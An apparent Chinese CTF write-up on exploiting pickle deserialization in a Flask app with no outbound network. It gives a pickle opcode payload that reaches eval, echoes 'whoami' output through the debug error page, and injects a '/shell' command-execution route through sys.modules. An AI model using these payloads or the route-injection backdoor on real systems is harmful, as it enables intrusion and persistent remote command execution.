【WEB安全】flask不出网回显方式

·  阅读 255
【WEB安全】flask不出网回显方式

前言

研究这个问题主要是打比赛的时候遇到了,题目内容大概是这样的【查看资料

 # app.py
from flask import Flask , request , session , render_template_string , url_for , redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask ( __name__ )


class RestrictedUnpickler ( pickle . Unpickler ):
    def find_class ( self ,  module ,  name ):
        if module in [ 'config' ] and "__" not in name :
            return getattr ( sys . modules [ module ], name )
        raise pickle . UnpicklingError ( "'%s.%s' not allowed" % ( module , name ))


def restricted_loads ( s ):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler ( io . BytesIO ( s )) . load ()


@app.route ( '/' )
def index ():
    info = request . args . get ( 'name' , '' )
    if info is not '' :
        x = base64 . b64decode ( info )
        User = restricted_loads ( x )
    return render_template_string ( 'Hello' )



if __name__ == '__main__' :
    app . run ( host='0.0.0.0' , debug=True , port= 5000 ) 
复制代码
 # config.py
notadmin = { "admin" : "no" }


def backdoor ( cmd ):
    if notadmin [ "admin" ] == "yes" :
        s = '' . join ( cmd )
        eval ( s ) 
复制代码

可以看出来是个简单的pickle反序列化,这不是本次的重点,重点是这道题在eval后如何回显,最简单的方式想到的是反弹shell,但是经过测试发现目标机器并不出网,所以我们需要寻找其他的方式去让我们的命令回显

debug模式下利用报错

众所周知,在flask中如果开启了debug模式,报错是会显示详细信息的,比赛中debug模式通常考点是构造pin码,但是我们这里想到,可以通过手动控制报错的方式来让我们的命令回显。

简单地构造exp,这里需要注意的是eval并不能执行python语句,所以我们需要利用eval去调用exec来实现手动抛出报错

from base64 import b64encode
from urllib.parse import quote


def base64_encode ( s :  str ,  encoding='utf-8' )  ->  str :
    return b64encode ( s . encode ()) . decode ( encoding=encoding )


exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode ( exc ) . encode ()

opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % ( exc )

print ( quote ( b64encode ( opcode ) . decode ())) 
复制代码

可以看到我们成功通过Exception去拿到了回显

失败的尝试: 直接import模块获取app

一开始想到的方法是直接import app.py来获取app,但是事实证明此app非彼app,添加了路由但是并不能访问到,应该是一个全新的app

成功的尝试: sys.modules

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']来获取当前的模块,我们写个简单的测试来看看上面的app与实际的app是否相同

import sys
import app
app1 = sys . modules [ '__main__' ] . __dict__ [ 'app' ]
app2 = app . app
print ( id ( app1 ))
print ( id ( app2 )) 
复制代码

可以看到app的id并不相同,所以他们并非相同的app

这里我们尝试直接添加后门路由,会发现存在报错

import sys
import os
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : os . popen ( 'dir' ) . read ()) 
复制代码

这个报错是由于我们在第一个请求处理后调用了设置函数(add_url_rule),此报错只会在debug模式下触发,可以参考使用了Flask框架的工具的issue:

所以我们需要在非debug模式下才能成功添加后门路由(又或者我们直接设置debug=False来解决这个问题)

import sys
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . debug=False
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : __import__ ( 'os' ) . popen ( 'dir' ) . read ()) 
复制代码

最后

关注我,持续更新······

私我获取【网络安全学习资料·攻略

分类:
代码人生
标签:
收藏成功!
已添加到「」, 点击更改